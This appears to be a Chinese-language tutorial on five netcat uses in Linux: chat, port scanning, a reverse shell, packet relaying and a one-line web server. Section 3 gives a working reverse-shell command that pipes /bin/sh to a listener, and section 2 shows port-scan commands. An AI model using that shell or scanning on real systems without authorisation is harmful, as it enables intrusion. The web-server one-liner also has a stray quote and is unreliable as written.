Linux 中 Netcat 的 5 種簡單易用用法

Linux 中 Netcat 的 5 種簡單易用用法

Netcat 是 Linux 中功能強大的命令行網絡實用程序,可以發送和偵聽 TCP 和 UDP 數據包。與其他網絡工具不同,netcat 非常基礎。然而,它的簡單性也使其能夠通過網絡執行幾乎任何類型的活動。

本文將向您展示 5 個可以使用 netcat 完成的簡單網絡任務。此外,本文還將重點介紹 netcat 的特殊之處以及為什麼應將其包含在 Linux 工具包中。

Netcat 如何工作以及為什麼使用它?

Netcat 是一個可以發送和接收網絡數據包的基本實用程序。它於 1995 年由一位名叫 Hobbit 的化名程序員首次發布。從那時起,netcat 就成為每個 Linux 發行版的重要組成部分。

從本質上講,netcat 的工作原理是從一台 Linux 主機向另一台主機發送網絡請求。該網絡請求可以包含任何類型的數據,並且您可以在任何端口上發送它。

顯示使用 netcat 進行簡單文本傳輸的終端。

這種方法意味著 netcat 可以創建任何可能類型的網絡連接。例如,該程序可以創建直接 TCP 連接,您可以使用該連接來傳輸文件創建反向 shell 會話

顯示使用 netcat 在兩個 Linux 主機之間進行簡單文件傳輸的桌面。
圖片來源:Pedro Lastra,來自 Unsplash

1. 點對點聊天會話

netcat 最基本的用途之一是兩台 Linux 計算機之間的簡單點對點聊天會話。這是一種不依賴任何第三方服務器來發送和接收信息的通信方法。

  • 為此,您需要在本地計算機上打開 49152 到 65536 之間的端口。這是遠程主機能夠連接並向您的計算機發送任意信息的地方。

sudo ufw allow 50000

  • 您還需要在遠程主機上打開不同的端口,以便您的計算機向其發送信息:

sudo ufw allow 50001

  • netcat使用以下參數在您的計算機上運行:

nc -lp 50000

這將打開一個 netcat 會話,該會話正在主動偵聽端口 50000 上的數據。

  • 遠程主機現在可以向本地計算機發送任何文本數據。例如,以下命令將系統的標準輸入發送到遠程計算機。

cat - | nc 192.168.122.136 50000

顯示基本 netcat 聊天的標準輸入提示的終端。
  • 為了回复消息,遠程主機還需要運行一個監聽守護進程:

nc -lp 50001

  • 現在,您還可以從本地計算機向遠程主機發送消息:

cat - | nc 192.168.122.177 50001

顯示兩個虛擬終端的終端,用於全雙工 netcat 聊天。

2. 基本端口掃描器

端口掃描器是一個簡單的實用程序,用於檢查計算機中的一組端口是否可以從遠程主機訪問。當您不確定係統是否打開了適當的端口時,這非常有用。

要檢查單個端口,您可以運行nc -v後跟 IP 地址和要檢查的端口:

nc -v 192.168.122.177 80

顯示端口 80 的基本端口掃描的終端。

您還可以提供一系列數字,netcat 將按順序檢查該範圍內的每個端口號。例如,運行以下命令將掃描所有打開的“眾所周知”端口:

nc -v 192.168.122.177 1-1024

顯示批量掃描的終端

查詢端口的缺點之一是它會產生不必要的網絡流量。如果您在小型家庭網絡中測試大量端口,這可能會成為問題。

要解決此問題,請啟用 netcat 的“零 I/O”模式,該模式不會在遠程主機上創建任何網絡活動:

nc -zv 192.168.122.177 1-1024

顯示使用 netcat 進行零 IO 批量端口掃描的終端。

3.反向Shell

反向 shell 是 Linux 滲透測試的基礎。這些是遠程 shell 實例,即使沒有打開入站端口,您也可以控制系統。如果您需要訪問沒有任何 SSH 訪問權限的計算機,這使得反向 shell 很方便。

  • 要創建反向 shell,您需要在本地計算機中打開偵聽器守護進程:

nc -lp 50000

  • 在遠程計算機中啟動 netcat 連接。在這種情況下,您還需要傳遞遠程機器的 shell 環境:

nc -e /bin/sh 192.168.122.136 50000

  • 返回本地計算機並運行 shell 命令。例如,運行ls將打印遠程用戶的當前目錄。

ls -la

顯示成功反向 shell 輸出的終端。
  • 要結束反向 shell 會話,您可以在本地計算機的偵聽器守護程序上按Ctrl+ 。C
顯示本地計算機中反向 shell 關閉的終端。

4. 基本數據包中繼

除了直接讀取和寫入網絡流之外,您還可以使用 netcat 將傳入連接重定向到任何傳出端口。這是通過使用 UNIX 管道鏈接多個 netcat 偵聽器和客戶端會話來實現的。

  • 創建一個偵聽端口 50000 的 netcat 會話。這將作為基本中繼的傳出端口:

nc -lv localhost 50000

  • 打開一個新終端並運行以下命令:

nc -lv localhost 50001 | nc localhost 50000

執行此操作將在端口 50001 上創建一個新的偵聽器守護程序,並自動將該端口上的任何數據包重定向到端口 50000。

顯示兩個端口之間直通連接的終端。
  • 現在,您可以將數據發送到傳入端口,netcat 會自動將其輸出重定向到您的傳出端口。

echo "MakeTechEasier"| nc localhost 50001

顯示正在運行的基本數據包中繼的終端。
  • 除了本地端口之外,您還可以使用此功能將任何網絡流量重定向到另一台計算機。例如,以下代碼將端口 50000 中的數據發送到不同系統上的同一端口:

nc -lv localhost 50000 | nc 192.168.122.177 50000

顯示兩台主機之間基本數據包中繼的終端。

5. 基本HTTP服務器

即使您只想提供單個頁面,設置 HTTP 服務器也可能是一個複雜的過程。在這方面,netcat 還可以充當簡單的靜態 Web 服務器,您可以在 Linux 中啟動它,而無需安裝任何其他工具。

  • 創建基本的 HTTP 響應文件。以下代碼片段顯示一個帶有簡單消息的網頁:

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: netcat!

<!doctype html>
<html>
<body>
<h1>Hello MakeTechEasier!</h1>
</body>
</html>

  • 將其另存為“index.http”在您的主目錄中。
顯示簡單 HTTP 響應結構的終端。
  • 運行以下命令:

while true; do { echo -e 'cat /home/$USER/index.http; } | nc -lv localhost 8080; done

顯示正在運行的簡單 netcat Web 服務器的終端。

您現在已經有了一個可以工作的網絡服務器。您可以通過打開 Web 瀏覽器並轉到 http://localhost:8080 來訪問您的網頁。

顯示正在運行的 netcat Web 服務器為網頁提供服務的屏幕截圖。
  • 按終端上的Ctrl+退出當前的網絡服務器會話。C
顯示基本 netcat Web 服務器關閉過程的終端。

經常問的問題

我無法使用 netcat 連接到遠程計算機。

此問題很可能是由於遠程計算機上的防火牆端口被阻止造成的。您需要確保計算機中使用的端口對傳入和傳出連接開放。sudo ufw allow 49999例如,如果要使用遠程計算機上的端口 49999,則需要運行。

是否可以使用 netcat 連接到任何主機?

不可以。雖然 netcat 可以讀取和寫入任何任意網絡流,但它無法連接到無法從系統網絡中發現的計算機。其中包括未啟用端口轉發的專用網絡以及沒有網絡訪問權限的氣隙系統。

是否有可能在 netcat 中欺騙連接?

不可以。這是因為 netcat 只能從有效的網絡接口發送和接收數據包。但是,如果您有多個網絡接口,則可以更改特定數據包的來源。

例如,您可以運行nc -l -s 10.0.0.2 -p 50000命令 netcat 使用 IP 地址為“10.0.0.2”的接口顯式發送數據包。

圖片來源:ThisisEngineering RAEng,來自 Unsplash。所有修改和屏幕截圖均由 Ramces Red 進行。

發佈留言

發佈留言必須填寫的電子郵件地址不會公開。 必填欄位標示為 *